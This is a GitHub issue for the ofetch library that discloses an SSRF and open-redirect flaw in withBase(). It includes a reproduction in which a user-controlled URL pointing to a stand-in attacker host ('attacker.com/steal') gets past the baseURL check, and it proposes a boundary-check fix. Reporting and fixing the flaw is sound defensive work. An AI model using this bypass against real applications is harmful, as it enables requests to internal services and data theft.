-
Notifications
You must be signed in to change notification settings - Fork 158
SSRF via Unconstrained baseURL + Open Redirect #564
Copy link
Copy link
Open
Labels
bugSomething isn't workingSomething isn't working
Description
Environment
any
Reproduction
import { ofetch } from "ofetch";
// The application explicitly forces requests to internal API
// But req.query.path is controlled by attacker: "http://api.internal.attacker.com/steal"
await ofetch("http://api.internal.attacker.com/steal", {
baseURL: "http://api.internal",
});
// → BUG: Fetches http://api.internal.attacker.com/steal completely bypassing the base URL enforcementSuggested Fix
We need to enforce that if the input starts with the base URL, the boundary character following the base URL must be a valid URL separator (/, ?, #, or End-of-String).
// utils.url.ts — Add boundary check
export function withBase(input = "", base = ""): string {
if (!base || base === "/") {
return input;
}
const _base = withoutTrailingSlash(base);
if (input.startsWith(_base)) {
const nextChar = input[_base.length];
if (!nextChar || nextChar === "/" || nextChar === "?" || nextChar === "#") {
return input;
}
}
return joinURL(_base, input);
}Describe the bug
SSRF via Unconstrained baseURL + Open Redirect
withBase() checks if the input URL already contains the baseURL by using a simple .startsWith() check. If it matches, the input is returned as-is.
However, .startsWith() does not enforce host or path boundaries. If a consumer hardcodes a safe baseURL but passes a user-controlled request string, an attacker can append a suffix to the .com (e.g. .attacker.com) to bypass the base URL entirely and achieve Server-Side Request Forgery (SSRF) or an Open Redirect.
Additional context
No response
Logs
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
bugSomething isn't workingSomething isn't working